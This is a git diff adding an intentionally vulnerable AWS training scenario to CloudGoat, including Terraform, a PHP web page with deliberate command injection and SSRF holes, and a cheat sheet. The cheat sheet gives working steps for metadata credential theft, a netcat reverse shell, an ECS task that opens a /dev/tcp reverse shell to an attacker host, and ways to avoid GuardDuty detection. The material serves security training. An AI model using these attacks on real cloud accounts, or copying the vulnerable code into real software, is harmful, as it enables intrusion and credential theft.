diff --git a/README.md b/README.md index bfa54bbe..c4d3f929 100644 --- a/README.md +++ b/README.md @@ -227,6 +227,14 @@ Starting with access the "ruse" EC2 the user leverages the instace profile to ba [Visit Scenario Page.](scenarios/ecs_efs_attack/README.md) +### ecs_privesc_evade_protection (Medium / Moderate) + +`$ ./cloudgoat.py create ecs_privesc_evade_protection` + +A user begins by accessing a working web service to a container inside EC2. The attacker can exploit a web service vulnerability to get credentials from the metadata API in EC2, or to control the container. This credential allows the attacker to initiate a new container with a specific role and control it. Based on this action, make a priviledge escalation, and read FLAG in S3. + +[Visit Scenario Page.](scenarios/ecs_privesc_evade_protection/README.md) + ### glue_privesc(Large / Moderate) `$ ./cloudgoat.py create glue_privesc` diff --git a/core/python/commands.py b/core/python/commands.py index 19d73dfa..73cf71cb 100644 --- a/core/python/commands.py +++ b/core/python/commands.py @@ -399,7 +399,7 @@ def create_scenario(self, scenario_name_or_path, profile): } # The if-else block below exists because the detection_evasion scenario requires user input at deploy time. - if scenario_name == "detection_evasion": + if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]: tf_vars["user_email"] = self.get_user_email() plan_retcode, plan_stdout, plan_stderr = terraform.plan( @@ -525,7 +525,7 @@ def destroy_all_scenarios(self, profile): "region": self.aws_region, } - if scenario_name == "detection_evasion": + if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]: tf_vars["user_email"] = self.get_user_email() destroy_retcode, destroy_stdout, destroy_stderr = terraform.destroy( @@ -620,7 +620,7 @@ def destroy_scenario(self, scenario_name_or_path, profile, confirmed=False): "region": self.aws_region, } - if scenario_name == "detection_evasion": + if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]: tf_vars["user_email"] = self.get_user_email() destroy_retcode, destroy_stdout, destroy_stderr = terraform.destroy( diff --git a/scenarios/ecs_privesc_evade_protection/README.md b/scenarios/ecs_privesc_evade_protection/README.md new file mode 100644 index 00000000..7fef4df2 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/README.md @@ -0,0 +1,63 @@ +# Scenario: ecs_privesc_evade_protection + +**Size**: Medium + +**Difficulty**: Moderate + +**Command**: `$ ./cloudgoat.py create ecs_privesc_evade_protection` + +## Scenario Resources + +- 1 ECS with: + - 1 * ASG with : + - 1 * EC2 + - 1 * Service (web container) +- 2 * S3 (1 * secret, 1 * cloudtrail) +- Detection Mechanisms + - GuardDuty enabled + - CloudWatch + - CloudTrail + - EventBridge + - Lambda + - SES + +## Scenario Start(s) + +Scenario starts as a web user. + +> **Warning**: If GuardDuty have enabled before creating scenario, It would cause an error. + +> **Note**: Use the docker command during the scenario creation process; the docker environment have to be ready. + +## Scenario Goal(s) + +Read flag.txt in S3 with avoiding various defense techniques. + +## Summary + +There is a very vulnerable website operating on AWS. The site's security administrator became frightened and took some web security measures and enabled GuardDuty for EC2's credentials. Take a detour and approach S3 and win the secret string. + +## Email setup + +- If AWS Guard Duty detects your attack in the scenario, we will send you an email. So you need to register an email and respond to AWS authentication mail sent to that email before start. +- If you prefer not to use a standard email address, you might consider services such as https://temp-mail.org/ or https://www.fakemail.net/. + +# SPOILER ALERT: There are spoilers for the scenario blew this point. + +## Exploitation Route + +![Scenario Route(s)](assets/diagram.png) + +## Scenario Walk-through + +### Easy Path +- Attacker accesses the web service of a container inside EC2 managed by ECS. +- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container. +- The attacker accesses S3. Gets the Secret String in `flag.txt` and exits the scenario. + +### Hard Path +- Attacker accesses the web service of a container inside EC2 managed by ECS. +- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container. +- The attacker defines and executes an ECS task with the authority of the web developer to privesc or bypass mitigations. Perform a reverse shell attack to access the container been created. +- The attacker accesses S3 at the container to bypass GuardDuty detection. Gets the Secret String in `secret-string.txt` and exits the scenario. + diff --git a/scenarios/ecs_privesc_evade_protection/assets/diagram.png b/scenarios/ecs_privesc_evade_protection/assets/diagram.png new file mode 100644 index 00000000..2539a7a2 Binary files /dev/null and b/scenarios/ecs_privesc_evade_protection/assets/diagram.png differ diff --git a/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/.dockerignore b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/.dockerignore new file mode 100644 index 00000000..b797ad92 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/.dockerignore @@ -0,0 +1,2 @@ +Dockerfile +.dockerignore \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/Dockerfile b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/Dockerfile new file mode 100644 index 00000000..67e840ad --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/Dockerfile @@ -0,0 +1,18 @@ +FROM php:7.4-cli-alpine + +RUN apk --no-cache update \ + && apk --no-cache add \ + curl-dev libcurl \ + groff \ + less \ + python3 \ + py3-pip \ + && docker-php-ext-install curl \ + && pip3 install --upgrade pip \ + && pip3 install awscli + +COPY . /usr/src/myapp + +WORKDIR /usr/src/myapp + +CMD [ "php", "-S", "0.0.0.0:80", "-t", "." ] diff --git a/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php new file mode 100644 index 00000000..c369f31c --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php @@ -0,0 +1,48 @@ + + + + SSRF + + + +

Server Side Request Forgery

+ +
+ URL: + + + +
+

Can you access meta-data? We've made security improvements!

+ + 150) { + echo "URL is too long. Please enter a URL with 150 characters or less."; + echo "\n\n"; + } elseif (preg_match('/169.254.169.254/', $url)) { + echo "Access to meta-data is not allowed."; + echo "\n\n"; + } else { + $response = shell_exec("curl --max-time 10 " . $url); + if ($response === null) { + error_log("Failed to execute curl for URL: " . escapeshellarg($url)); + echo "Failed to fetch the URL."; + echo "\n\n"; + } + else if ($response !== null) { + echo "
";
+            echo htmlspecialchars($response);
+            echo "
"; + } else { + echo "Failed to fetch the URL."; + echo "\n\n"; + } + } +} +?> + + + \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/cheat_sheet.md b/scenarios/ecs_privesc_evade_protection/cheat_sheet.md new file mode 100644 index 00000000..d3648e9a --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/cheat_sheet.md @@ -0,0 +1,149 @@ +# Easy Path + +Go to `http://` + +### Command Injection + +```bash +# Command Injection on web. +; aws s3 ls +; aws s3 ls s3:/// +; aws s3 cp s3:///flag.txt . +; cat flag.txt +``` + +### SSRF + +```bash +# SSRF Attack. +http:///?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ + +# Configure credentials. +aws configure --profile attacker +echo "aws_session_token = " >> ~/.aws/credentials + +# Access to S3. +aws s3 ls +aws s3 ls s3:/// +aws s3 cp s3:///flag.txt . +cat flag.txt +``` + + +# Hard Path + +Go to `http://` + +### SSRF + +* Using IPv6 to SSRF on web with `http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/` +* Get credentials & using it to your CLI profile. + + ```bash + aws configure --profile attacker + echo "aws_session_token = " >> ~/.aws/credentials + ``` + +### Command Injection + +- prepare another host for revshell attack with `nc -lvp 4000` +- command injection on web with `; nc 4000 -e /bin/sh &` + +### For more information + +- more information about iam. + + ```bash + aws sts get-caller-identity + aws iam list-roles + aws iam get-role --role-name + aws iam list-attached-role-policies --role-name + aws iam list-role-policies --role-name + aws iam get-role-policy --role-name --policy-name + ```` + +- more information about ecs clusters. + + ```bash + aws ecs list-clusters --region + aws ecs describe-clusters --region --clusters + aws ecs list-container-instances --region --cluster + ``` +- find available vpc subnets. + + ```bash + aws ec2 describe-subnets --region + ``` + +### ECS Privesc + +1. Attacker prepare revshell at other public ip point with `nc -lvp 4000`. + +2. And now come back to CLI. + +3. Create an ECS Task Definition JSON File: + + Create a file named task-definition.json and include the following content. + Replace ``, ``, ``, ``, and `` with your actual values. + + ```json + { + "family": "", + "taskRoleArn": "", + "networkMode": "awsvpc", + "cpu": "256", + "memory": "512", + "requiresCompatibilities": ["FARGATE"], + "containerDefinitions": [ + { + "name": "exfil_creds", + "image": "python:latest", + "entryPoint": ["sh", "-c"], + "command": ["/bin/bash -c \\\"bash -i >& /dev/tcp// 0>&1\\\""] + } + ] + } + ``` + +4. Create an ECS Run Task JSON File. + + Create a file named run-task.json and include the following content. Replace `` with the actual values for your setup. + + ```json + { + "launchType": "FARGATE", + "networkConfiguration": { + "awsvpcConfiguration": { + "assignPublicIp": "ENABLED", + "subnets": [""] + } + } + } + ``` + +5. Register Task Definition and Run Task + + Now, you can use the AWS CLI with the JSON files to execute the commands. + + ```bash + # Register task definition + aws ecs register-task-definition --region --cli-input-json file://task-definition.json + + # Run task + aws ecs run-task --region --task-definition --cluster --cli-input-json file://run-task.json + ``` + + After a few minutes, the revshell will be connected by container. + Let's access to s3 on revshell. + +### Access S3 + +```bash +apt update +apt install awscli + +aws s3 ls +aws s3 ls s3:/// +aws s3 cp s3:///secret-string.txt . +cat secret-string.txt +``` \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/manifest.yml b/scenarios/ecs_privesc_evade_protection/manifest.yml new file mode 100644 index 00000000..1d2bd1c0 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/manifest.yml @@ -0,0 +1,20 @@ +--- + # The name of the scenario, alpha-numeric characters only, and underscore-separated +- name: ecs_privesc_evade_protection + # The name of the author(s), comma separated +- author: Yong Siwoo, Park Do Kyu, Park Seo Hyun, Jung Ho Shim, Chae Jinsoo + # The version of the scenario, where major versions are breaking changes and minor are small fixes. +- version: 1.0 + # Text displayed to the user when they type "{{ scenario_name }} help" +- help: | + Within the container that is running a web hosting service on an EC2 instance managed by ECS, + please access the metadata service to obtain the temporary credentials for the EC2 instance. + Then, exploit these privileges to read the secret string inside the flag.txt file located within S3. + + Note: if AWS GuardDuty detects your attack, it will refresh the temporary credentials of the EC2 instance + and send an alert email to the registered address. + Endeavor to proceed with utmost caution to avoid triggering these alerts. + +# Records the date upon which this scenario was last updated, in MM-DD-YYYY format +- last-updated: 11-02-2023 +... \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf b/scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf new file mode 100644 index 00000000..194e414a --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf @@ -0,0 +1,8 @@ +# Using CloudTrail for GuardDuty +resource "aws_cloudtrail" "cloudtrail" { + name = "cg-cloudtrail-${var.cgid}" + s3_bucket_name = aws_s3_bucket.cloudtrail_bucket.id + enable_logging = true + + depends_on = [aws_s3_bucket_policy.trail_bucket_policy] +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf b/scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf new file mode 100644 index 00000000..a72ee59b --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf @@ -0,0 +1,29 @@ +# Define a CloudWatch Event Rule to capture AWS GuardDuty findings +resource "aws_cloudwatch_event_rule" "guardduty_events" { + name = "cg-guardduty-events-${var.cgid}" + event_pattern = jsonencode({ + "source" : ["aws.guardduty"], + "detail-type" : ["GuardDuty Finding"], + "detail": { + "type": [ + "UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS", + ] + } + }) +} + +# Create a target for the CloudWatch Event Rule to invoke a Lambda function +resource "aws_cloudwatch_event_target" "ecs_event_target" { + rule = aws_cloudwatch_event_rule.guardduty_events.name + arn = aws_lambda_function.guardduty_lambda.arn +} + +# Enable AWS GuardDuty for threat detection and continuous monitoring +# Note : The GuardDuty in the user account must be completely disabled to function normally. +resource "aws_guardduty_detector" "detector" { + enable = true +} + +resource "aws_cloudwatch_log_group" "lambda_log" { + name = "/aws/lambda/${aws_lambda_function.guardduty_lambda.function_name}" +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf b/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf new file mode 100644 index 00000000..52c34986 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf @@ -0,0 +1,39 @@ +data "aws_caller_identity" "current" {} + +# Search based on tag to get the IP of EC2 that is automatically generated by ASG. +data "aws_instances" "asg_instance" { + depends_on = [time_sleep.wait_for_instance] + + instance_tags = { + Name = "cg-ec2-instance-${var.cgid}" + } +} + +data "aws_availability_zones" "current_az" { + state = "available" +} + +# Get AMI of the latest version of Amazon Linux 2 for ECS. +data "aws_ami" "latest_amazon_linux" { + most_recent = true + + filter { + name = "name" + values = ["amzn2-ami-ecs-hvm-*-x86_64-ebs"] + } + + filter { + name = "virtualization-type" + values = ["hvm"] + } + + owners = ["amazon"] +} + +# compress index.py to lambda.zip +data "archive_file" "lambda_zip" { + type = "zip" + source_file = "./index.py" + output_file_mode = "0666" + output_path = "./lambda.zip" +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf new file mode 100644 index 00000000..e0f754ca --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf @@ -0,0 +1,28 @@ +resource "aws_ecr_repository" "repository" { + name = "cg-repository-${var.cgid}" +} + +resource "null_resource" "docker_image" { + + # Push Docker image when the scenario be created + provisioner "local-exec" { + when = create + on_failure = fail + command = "python3 ./push-dockerfile.py --dockerfile_path ../assets/ssrf-web/ --repository ${aws_ecr_repository.repository.name} --region ${var.region} --profile ${var.profile} --image_tag latest" + } + + # Pop Docker images when the scenario be destroyed + provisioner "local-exec" { + when = destroy + on_failure = fail + command = "python3 ./pop-dockerfile.py --repository ${self.triggers.repository_name} --region ${self.triggers.region} --profile ${self.triggers.profile} --image_tag all" + } + + triggers = { + repository_name = aws_ecr_repository.repository.name + region = var.region + profile = var.profile + } + + depends_on = [aws_ecr_repository.repository] +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf new file mode 100644 index 00000000..4566a5bf --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf @@ -0,0 +1,143 @@ +# Creating an ECS Cluster. +resource "aws_ecs_cluster" "cluster" { + name = "cg-cluster-${var.cgid}" +} + +# Setting up capacity providers for the ECS Cluster +# In consideration of the performance issues caused by EC2 created as t2.micro, we also added FARGATE for smooth scenario solving. +resource "aws_ecs_cluster_capacity_providers" "providers" { + cluster_name = aws_ecs_cluster.cluster.name + + capacity_providers = [ + "FARGATE", + "FARGATE_SPOT", + aws_ecs_capacity_provider.capacity_provider.name + ] +} + +# Defining an ECS capacity provider using an Auto Scaling group. +# ASG would have only one instance. +resource "aws_ecs_capacity_provider" "capacity_provider" { + name = "cg-provider-${var.cgid}" + + auto_scaling_group_provider { + auto_scaling_group_arn = aws_autoscaling_group.asg.arn + managed_termination_protection = "DISABLED" + + managed_scaling { + status = "ENABLED" + maximum_scaling_step_size = 1 + minimum_scaling_step_size = 1 + target_capacity = 50 + } + } +} + +# Defining an ECS capacity provider using an Auto Scaling group. +# ASG would have only one instance. +resource "aws_autoscaling_group" "asg" { + name = "cg-asg-${var.cgid}" + + desired_capacity = 1 + max_size = 1 + min_size = 1 + vpc_zone_identifier = [aws_subnet.public.id] + + tag { + key = "Name" + value = "cg-ec2-instance-${var.cgid}" + propagate_at_launch = true + } + + launch_template { + id = aws_launch_template.template.id + version = "$Latest" + } + + lifecycle { + create_before_destroy = true + } +} + +# Define EC2 launch template for ASG. +# ami : Amazon Linux 2 for ECS +# instance type : t2.micro +# security_group : allow http (whitelists apply), and all outbound. +# allow IMDSv1 +resource "aws_launch_template" "template" { + name = "cg-launch-template-${var.cgid}" + image_id = data.aws_ami.latest_amazon_linux.id + instance_type = "t2.micro" + + iam_instance_profile { + name = aws_iam_instance_profile.profile.name + } + + network_interfaces { + associate_public_ip_address = true + security_groups = [aws_security_group.allow_http.id] + } + + metadata_options { + http_tokens = "optional" + } + + user_data = base64encode( + <> /etc/ecs/ecs.config; +EOF + ) +} + +# IAM Role for EC2 instance +resource "aws_iam_instance_profile" "profile" { + name = "cg-ec2-role-${var.cgid}" + role = aws_iam_role.ec2_role.name +} + +# Define ECS Service as vulnerable web. +# Web will be launch on container in EC2. +resource "aws_ecs_service" "ssrf_web_service" { + name = "cg-service-${var.cgid}" + cluster = aws_ecs_cluster.cluster.id + task_definition = aws_ecs_task_definition.web_task.arn + launch_type = "EC2" + desired_count = 1 +} + +# Define details for Web task. +# Bridge network for access EC2 metadata. +# Containers would be imported from ECR +resource "aws_ecs_task_definition" "web_task" { + family = "cg-task-service-ssrf-web" + network_mode = "bridge" + requires_compatibilities = ["EC2"] + cpu = "512" + memory = "512" + depends_on = [null_resource.docker_image] + + container_definitions = jsonencode([{ + name = "cg-ssrf-web-${var.cgid}", + image = "${aws_ecr_repository.repository.repository_url}:latest" + + portMappings = [{ + containerPort = 80, + hostPort = 80, + }], + + healthCheck = { + command = ["CMD-SHELL", "curl -f http://localhost/ || exit 1"], + interval = 10, + timeout = 5, + retries = 3, + startPeriod = 15 + } + }]) +} + +# Wait a little for ec2 be created in ASG. +resource "time_sleep" "wait_for_instance" { + depends_on = [aws_autoscaling_group.asg] + create_duration = "30s" +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/flag.txt b/scenarios/ecs_privesc_evade_protection/terraform/flag.txt new file mode 100644 index 00000000..13ca9ff7 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/flag.txt @@ -0,0 +1 @@ +cg-secret-lets-try-hard-path-g7Hz2&f#9!mP3x$vE \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/iam.tf b/scenarios/ecs_privesc_evade_protection/terraform/iam.tf new file mode 100644 index 00000000..fdb97612 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/iam.tf @@ -0,0 +1,231 @@ +# Define IAM role for EC2 Instance. +# Assume that excessive privileges are set for this role. +# ec2_role & ec2_role_sub are twin role for renewing credentials. +# Once lambda run, ec2's role would be change to another, and credential's will be renewed. +resource "aws_iam_role" "ec2_role" { + name = "cg-web-developer-${var.cgid}" + tags = { + deployment_profile = var.profile + Stack = var.stack-name + Scenario = var.scenario-name + } + + managed_policy_arns = [ + "arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role", + aws_iam_policy.cg_web_developer_policy.arn + ] + + assume_role_policy = jsonencode({ + Version = "2012-10-17" + Statement = [ + { + Action = "sts:AssumeRole" + Effect = "Allow" + Principal = { + Service = [ + "ec2.amazonaws.com", + "ecs-tasks.amazonaws.com" + ] + } + }, + ] + }) +} + +# Define IAM role for EC2 Instance. +# Assume that excessive privileges are set for this role. +resource "aws_iam_role" "ec2_role_sub" { + name = "cg-web-developer-sub-${var.cgid}" + tags = { + deployment_profile = var.profile + Stack = var.stack-name + Scenario = var.scenario-name + } + + managed_policy_arns = [ + "arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role", + aws_iam_policy.cg_web_developer_policy.arn + ] + + assume_role_policy = jsonencode({ + Version = "2012-10-17" + Statement = [ + { + Action = "sts:AssumeRole" + Effect = "Allow" + Principal = { + Service = [ + "ec2.amazonaws.com", + "ecs-tasks.amazonaws.com" + ] + } + }, + ] + }) +} + +# Target of Privesc. +# Using PassRole, ECS +resource "aws_iam_role" "s3_access" { + name = "cg-s3-critical-${var.cgid}" + tags = { + deployment_profile = var.profile + Stack = var.stack-name + Scenario = var.scenario-name + } + + managed_policy_arns = ["arn:aws:iam::aws:policy/AmazonS3FullAccess"] + + assume_role_policy = jsonencode({ + Version = "2012-10-17" + Statement = [ + { + Action = "sts:AssumeRole" + Effect = "Allow" + Principal = { + Service = [ + "ecs-tasks.amazonaws.com" + ] + } + }, + ] + }) +} + +# Define Lambda's role for sending mail if GuardDuty detects an attack. +# The mail will be sent with SES. +resource "aws_iam_role" "lambda_role" { + name = "cg-lambda-role-${var.cgid}" + tags = { + deployment_profile = var.profile + Stack = var.stack-name + Scenario = var.scenario-name + } + + managed_policy_arns = [ + "arn:aws:iam::aws:policy/AmazonSESFullAccess", + "arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole" + ] + + inline_policy { + name = "cg-lambda-inline-policy" + policy = jsonencode({ + Version = "2012-10-17", + Statement = [ + { + Effect = "Allow", + Action = [ + "iam:DetachRolePolicy", + "iam:AttachRolePolicy", + "iam:ListAttachedRolePolicies", + "iam:GetRole", + "iam:PassRole", + "iam:ListAttachedRolePolicies", + "iam:ListRolePolicies", + "iam:GetRolePolicy", + "iam:PutRolePolicy", + "iam:DeleteRolePolicy" + ], + Resource = [ + aws_iam_role.ec2_role.arn, + aws_iam_role.ec2_role_sub.arn + ] + },{ + Effect = "Allow", + Action = [ + "guardduty:ListFindings", + "guardduty:UpdateFindingsFeedback", + "ec2:DescribeIamInstanceProfileAssociations", + "ec2:ReplaceIamInstanceProfileAssociation" + ], + Resource = "*" + } + ] + }) + } + + assume_role_policy = jsonencode({ + "Version" : "2012-10-17", + "Statement" : [ + { + "Action" : "sts:AssumeRole", + "Effect" : "Allow", + "Principal" : { + "Service" : "lambda.amazonaws.com" + } + } + ] + }) +} + +# Even if users play Easy Path, users also can know that secret-string.txt exists but cannot to see what is in. +resource "aws_iam_policy" "cg_web_developer_policy" { + name = "cg-web-developer-policy-${var.cgid}" + policy = jsonencode({ + Version = "2012-10-17", + Statement = [ + { + Effect = "Allow", + Resource = "*", + Action = [ + "ec2:DescribeInstances", + "ec2:DescribeSubnets", + "s3:ListAllMyBuckets", + "ecs:RegisterTaskDefinition", + "ecs:ListClusters", + "iam:List*" + ] + },{ + Effect = "Allow", + Resource = [ + "arn:aws:ecs:${var.region}:${data.aws_caller_identity.current.account_id}:capacity-provider/cg-provider-${var.cgid}", + "arn:aws:ecs:${var.region}:${data.aws_caller_identity.current.account_id}:cluster/cg-cluster-${var.cgid}", + "arn:aws:ecs:${var.region}:${data.aws_caller_identity.current.account_id}:task/cg-cluster-${var.cgid}/*", + "arn:aws:ecs:${var.region}:${data.aws_caller_identity.current.account_id}:task-definition/*" + ], + Action = [ + "ecs:RunTask", + "ecs:Describe*", + "ecs:List*", + ] + },{ + Effect = "Allow", + Resource = [ + aws_s3_bucket.secret-s3-bucket.arn, + "${aws_s3_bucket.secret-s3-bucket.arn}/*" + ], + Action = [ + "s3:List*", + "s3:GetBucketLocation" + ] + },{ + Effect = "Allow", + Resource = "${aws_s3_bucket.secret-s3-bucket.arn}/flag.txt", + Action = "s3:GetObject" + },{ + Effect = "Allow", + Resource = [ + aws_iam_role.s3_access.arn, + "arn:aws:iam::${data.aws_caller_identity.current.account_id}:role/cg-web-developer-sub-${var.cgid}", + "arn:aws:iam::${data.aws_caller_identity.current.account_id}:role/cg-web-developer-${var.cgid}", + "arn:aws:iam::${data.aws_caller_identity.current.account_id}:policy/cg-web-developer-policy-${var.cgid}" + ], + Action = [ + "iam:Get*", + "iam:PassRole" + ] + } + ] + }) +} + +# Getting instance profile for lambda +resource "aws_iam_instance_profile" "instance_profile_1" { + name = "cg-instance-profile-${var.cgid}" + role = aws_iam_role.ec2_role.name +} + +resource "aws_iam_instance_profile" "instance_profile_2" { + name = "cg-instance-profile-sub-${var.cgid}" + role = aws_iam_role.ec2_role_sub.name +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/index.py b/scenarios/ecs_privesc_evade_protection/terraform/index.py new file mode 100644 index 00000000..71692727 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/index.py @@ -0,0 +1,150 @@ +import json +import boto3 +import os + + +def lambda_handler(event, context): + print("Event:", event) + + # Get information from environment variables + user_email = os.environ['USER_EMAIL'] + iam_role_1 = os.environ['IAM_ROLE_1'] + iam_role_2 = os.environ['IAM_ROLE_2'] + instance_profile_1 = os.environ['INSTANCE_PROFILE_1'] + instance_profile_2 = os.environ['INSTANCE_PROFILE_2'] + detector_id = os.environ['GUARDDUTY_DETECTOR_ID'] + account_id = os.environ['ACCOUNT_ID'] + + # Extract the EC2 instance ID and the current assigned role name from the event + instance_id = event['detail']['resource']['instanceDetails']['instanceId'] + current_role_name = event['detail']['resource']['accessKeyDetails']['userName'] + + # Create boto3 clients + iam = boto3.client('iam') + ec2_client = boto3.client('ec2') + ses = boto3.client('ses') + guardduty = boto3.client('guardduty') + + # Determine the new role to be assigned + if current_role_name == iam_role_1: + new_role = iam_role_2 + new_profile = instance_profile_2 + old_role = iam_role_1 + elif current_role_name == iam_role_2: + new_role = iam_role_1 + new_profile = instance_profile_1 + old_role = iam_role_2 + else: + print("Current role does not match any in the env variables.") + return + + try: + # Copy IAM policies + copy_role_policies(iam, old_role, new_role) + + # Change the role + response = ec2_client.replace_iam_instance_profile_association( + IamInstanceProfile={ + 'Arn': f'arn:aws:iam::{account_id}:instance-profile/{new_profile}', + 'Name': new_role + }, + AssociationId=get_association_id(ec2_client, instance_id) + ) + print("Role has been successfully changed.\n" + str(response)) + + # Detach policies from the old role + detach_role_policies(iam, old_role) + except Exception as e: + print("Error occurred while changing the role.\n" + str(e)) + return + + # Send an email + subject = "GuardDuty Alert: Unauthorized Access" + body_text = "GuardDuty has detected unauthorized access. \n\n" + json.dumps(event, indent=4) + ses.send_email( + Source=user_email, + Destination={'ToAddresses': [user_email]}, + Message={ + 'Subject': {'Data': subject}, + 'Body': {'Text': {'Data': body_text}} + } + ) + print("Email sent successfully.") + + # Update the status of Findings + try: + # Dynamically retrieve findings + findings = guardduty.list_findings(DetectorId=detector_id, MaxResults=10) + findings_ids = findings.get('FindingIds', []) + + print("Findings: " + str(findings)) + print("Findings IDs: " + str(findings_ids)) + + # Update the status of findings that meet the condition + if findings_ids: + guardduty.update_findings_feedback( + DetectorId=detector_id, + FindingIds=findings_ids, + Feedback='USEFUL' + ) + print("Findings status successfully updated.") + except Exception as e: + print("Failed to update findings status:", str(e)) + + return { + 'statusCode': 200, + 'body': 'Processed successfully!' + } + + +def get_association_id(ec2_client, instance_id): + # Function to get the current IAM instance profile association ID for the instance + response = ec2_client.describe_iam_instance_profile_associations( + Filters=[{'Name': 'instance-id', 'Values': [instance_id]}]) + associations = response.get('IamInstanceProfileAssociations', []) + for association in associations: + if association['State'] in ['associated', 'associating']: + return association['AssociationId'] + return None + + +def copy_role_policies(iam, source_role, destination_role): + # Copy managed policies + managed_policies = iam.list_attached_role_policies(RoleName=source_role)['AttachedPolicies'] + for policy in managed_policies: + iam.attach_role_policy( + RoleName=destination_role, + PolicyArn=policy['PolicyArn'] + ) + + # Copy inline policies + inline_policies = iam.list_role_policies(RoleName=source_role)['PolicyNames'] + for policy_name in inline_policies: + policy_document = iam.get_role_policy(RoleName=source_role, PolicyName=policy_name)['PolicyDocument'] + iam.put_role_policy( + RoleName=destination_role, + PolicyName=policy_name, + PolicyDocument=json.dumps(policy_document) + ) + + print(f"Policies from {source_role} have been copied to {destination_role}.") + + +def detach_role_policies(iam, role_name): + # Detach managed policies + managed_policies = iam.list_attached_role_policies(RoleName=role_name)['AttachedPolicies'] + for policy in managed_policies: + iam.detach_role_policy( + RoleName=role_name, + PolicyArn=policy['PolicyArn'] + ) + + # Remove inline policies + inline_policies = iam.list_role_policies(RoleName=role_name)['PolicyNames'] + for policy_name in inline_policies: + iam.delete_role_policy( + RoleName=role_name, + PolicyName=policy_name + ) + + print(f"All policies have been detached from {role_name}.") diff --git a/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf b/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf new file mode 100644 index 00000000..ceefb058 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf @@ -0,0 +1,30 @@ +# Define Lambda for sending emails. +resource "aws_lambda_function" "guardduty_lambda" { + function_name = "cg-guardduty-lambda-${var.cgid}" + role = aws_iam_role.lambda_role.arn + handler = "index.lambda_handler" + runtime = "python3.11" + timeout = 10 + filename = data.archive_file.lambda_zip.output_path + + environment { + variables = { + USER_EMAIL = var.user_email + IAM_ROLE_1 = aws_iam_role.ec2_role.name + IAM_ROLE_2 = aws_iam_role.ec2_role_sub.name + INSTANCE_PROFILE_1 = aws_iam_instance_profile.instance_profile_1.name + INSTANCE_PROFILE_2 = aws_iam_instance_profile.instance_profile_2.name + GUARDDUTY_DETECTOR_ID = aws_guardduty_detector.detector.id + ACCOUNT_ID = data.aws_caller_identity.current.account_id + } + } +} + +resource "aws_lambda_permission" "allow_event_bridge" { + statement_id = "AllowExecutionFromEventBridge" + action = "lambda:InvokeFunction" + function_name = aws_lambda_function.guardduty_lambda.function_name + principal = "events.amazonaws.com" + source_arn = aws_cloudwatch_event_rule.guardduty_events.arn +} + diff --git a/scenarios/ecs_privesc_evade_protection/terraform/outputs.tf b/scenarios/ecs_privesc_evade_protection/terraform/outputs.tf new file mode 100644 index 00000000..a8d04997 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/outputs.tf @@ -0,0 +1,11 @@ +#Required: Always output the AWS Account ID +output "cloudgoat_output_aws_account_id" { + value = data.aws_caller_identity.current.account_id +} + +# Scenario starts at ssrf web url. +output "ssrf_web_url" { + # During scenario destroy, there is no string left in the list, resulting in an error. + # So make value = "", when list's length 0. + value = length(data.aws_instances.asg_instance.public_ips) > 0 ? "Scenario start at : http://${data.aws_instances.asg_instance.public_ips[0]}" : "" +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/pop-dockerfile.py 